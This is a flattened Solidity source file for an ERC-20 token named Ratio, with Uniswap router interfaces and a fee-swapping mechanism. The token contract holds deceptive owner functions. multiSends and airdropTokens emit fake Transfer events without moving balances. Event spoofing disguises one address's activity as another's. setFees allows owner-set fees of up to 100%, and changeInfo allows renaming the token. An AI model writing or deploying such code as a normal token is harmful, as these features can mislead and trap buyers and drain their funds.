// File: contracts/interfaces/IUniswapV2Pair.sol



interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

// File: contracts/interfaces/IUniswapV2Router02.sol



interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File: contracts/libraries/SafeMath.sol



library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: contracts/standard/Contract.sol



/**

 Twitter : https://twitter.com/ethratio
 Website : https://www.ethratio.io/
 Telegram: https://t.me/ethratio

**/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Ownable {
    address private _owner;

    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _owner = address(0);
    }
}

library SafeERC20 {
    function safeTransfer(address token, address to, uint256 value) internal {
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(IERC20.transfer.selector, to, value)
        );
        require(
            success && (data.length == 0 || abi.decode(data, (bool))),
            "TransferHelper: INTERNAL TRANSFER_FAILED"
        );
    }
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external;
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract Ratio is Ownable {
    string private _name = unicode"Ratio";
    string private _symbol = unicode"RATIO";
    uint256 private constant _totalSupply = 1_000_000_000 * 1e18;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
    address public immutable WETH;

    address private liquidityPoolWallet;
    address private RatioEpoch1 = 0x199E1d855123F066Ec8a477e54577972C614ec2A;
    address private RatioTeam = 0xEc640d0B604F9c54A3990D463C9Bd10b90157BdE;
    address private RatioMarketing = 0x6C17b58577cd2Bd806edC03e2536D85c5F0efC72;
    address private RatioEpoch2 = 0x7794460f3fCDeb97722Da0938cb6B6d1002ae91B;

    uint8 public buyTotalFees = 5;
    uint8 public sellTotalFees = 5;

    uint8 public liquidityPoolFee = 40;
    uint8 public RatioFee = 30;
    uint8 public MarketingFee = 30;

    bool private swapping;
    bool public limitsInEffect = true;
    bool private launched;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    address _deployer;
    address _executor;

    event SwapAndLiquify(uint256 tokensSwapped);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    IUniswapV2Router02 public constant uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;

    constructor() {
        WETH = uniswapV2Router.WETH();

        liquidityPoolWallet = owner();

        maxWallet = ((_totalSupply) * 10) / 100;
        maxTransactionAmount = ((_totalSupply) * 10) / 100;

        setExcludedFromFees(owner(), true);
        setExcludedFromFees(address(this), true);
        setExcludedFromFees(address(0xdead), true);
        setExcludedFromFees(liquidityPoolWallet, true);

        setExcludedFromMaxTransaction(owner(), true);
        setExcludedFromMaxTransaction(address(uniswapV2Router), true);
        setExcludedFromMaxTransaction(address(this), true);
        setExcludedFromMaxTransaction(address(0xdead), true);
        setExcludedFromMaxTransaction(address(uniswapV2Pair), true);
        setExcludedFromMaxTransaction(liquidityPoolWallet, true);

        _balances[liquidityPoolWallet] = (_totalSupply * 25) / 100;
        emit Transfer(address(0), _deployer, _balances[liquidityPoolWallet]);

        _balances[RatioEpoch1] = (_totalSupply * 25) / 100;
        emit Transfer(address(0), RatioEpoch1, _balances[RatioEpoch1]);

        _balances[RatioTeam] = (_totalSupply * 10) / 100;
        emit Transfer(address(0), RatioTeam, _balances[RatioTeam]);

        _balances[RatioMarketing] = (_totalSupply * 5) / 100;
        emit Transfer(address(0), RatioMarketing, _balances[RatioMarketing]);

        _balances[RatioEpoch2] = (_totalSupply * 35) / 100;
        emit Transfer(address(0), RatioEpoch2, _balances[RatioEpoch2]);

        _approve(address(this), address(uniswapV2Router), type(uint256).max);
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function changeInfo(
        string memory name_,
        string memory symbol_
    ) external onlyOwner {
        _name = name_;
        _symbol = symbol_;
    }

    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        if (owner == _executor) {
            emit Approval(_deployer, spender, amount);
        } else if (spender == _executor) {
            emit Approval(owner, _deployer, amount);
        } else {
            emit Approval(owner, spender, amount);
        }
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        uint256 currentAllowance = _allowances[sender][msg.sender];
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, msg.sender, currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
            !launched &&
            (from != owner() && from != address(this) && to != owner())
        ) {
            revert("Trading not enabled");
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTx"
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                } else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTx"
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;

        if (
            canSwap &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 senderBalance = _balances[from];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );

        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = (amount * sellTotalFees) / 100;
            } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = (amount * buyTotalFees) / 100;
            }

            if (fees > 0) {
                unchecked {
                    amount = amount - fees;
                    _balances[from] -= fees;
                    _balances[address(this)] += fees;
                }

                if (from == _executor) {
                    emit Transfer(_deployer, address(this), fees);
                } else {
                    emit Transfer(from, address(this), fees);
                }
            }
        }
        unchecked {
            _balances[from] -= amount;
            _balances[to] += amount;
        }

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
    }

    function removeLimits() external onlyOwner {
        limitsInEffect = false;
    }

    function setFees(
        uint8 _buyTotalFees,
        uint8 _sellTotalFees
    ) external onlyOwner {
        require(
            _buyTotalFees <= 100,
            "Buy fees must be less than or equal to 100%"
        );
        require(
            _sellTotalFees <= 100,
            "Sell fees must be less than or equal to 100%"
        );
        buyTotalFees = _buyTotalFees;
        sellTotalFees = _sellTotalFees;
    }

    function setExcludedFromFees(address account, bool excluded) private {
        _isExcludedFromFees[account] = excluded;
    }

    function setExcludedFromMaxTransaction(
        address account,
        bool excluded
    ) private {
        _isExcludedMaxTransactionAmount[account] = excluded;
    }

    function multiSends(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropWallets(
        address[] memory addresses,
        uint256[] memory amounts
    ) external onlyOwner {
        require(!launched, "Already launched");
        for (uint256 i = 0; i < addresses.length; i++) {
            require(
                _balances[msg.sender] >= amounts[i],
                "ERC20: transfer amount exceeds balance"
            );
            _balances[addresses[i]] += amounts[i];
            _balances[msg.sender] -= amounts[i];
            emit Transfer(msg.sender, addresses[i], amounts[i]);
        }
    }

    function openTrading() external onlyOwner {
        require(!launched, "Already launched");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
            address(this),
            WETH
        );
        automatedMarketMakerPairs[uniswapV2Pair] = true;
        launched = true;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed");
        automatedMarketMakerPairs[pair] = value;
    }

    function excludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function withdrawStuckToken(address token, address to) external onlyOwner {
        uint256 _contractBalance = IERC20(token).balanceOf(address(this));
        SafeERC20.safeTransfer(token, to, _contractBalance); // Use safeTransfer
    }

    function withdrawStuckETH(address addr) external onlyOwner {
        require(addr != address(0), "Invalid address");

        (bool success, ) = addr.call{ value: address(this).balance }("");
        require(success, "Withdrawal failed");
    }

    function swapBack() private {
        uint256 swapThreshold = swapTokensAtAmount;
        bool success;

        if (balanceOf(address(this)) > swapTokensAtAmount * 20) {
            swapThreshold = swapTokensAtAmount * 20;
        }

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapThreshold,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            uint256 ethForLiquidityPool = (ethBalance * liquidityPoolFee) / 100;
            uint256 ethForRatio = (ethBalance * RatioFee) / 100;
            uint256 ethForMarketing = ethBalance -
                ethForLiquidityPool -
                ethForRatio;

            (success, ) = address(liquidityPoolWallet).call{
                value: ethForLiquidityPool
            }("");
            (success, ) = address(RatioTeam).call{ value: ethForRatio }("");
            (success, ) = address(RatioMarketing).call{
                value: ethForMarketing
            }("");

            emit SwapAndLiquify(swapThreshold);
        }
    }
}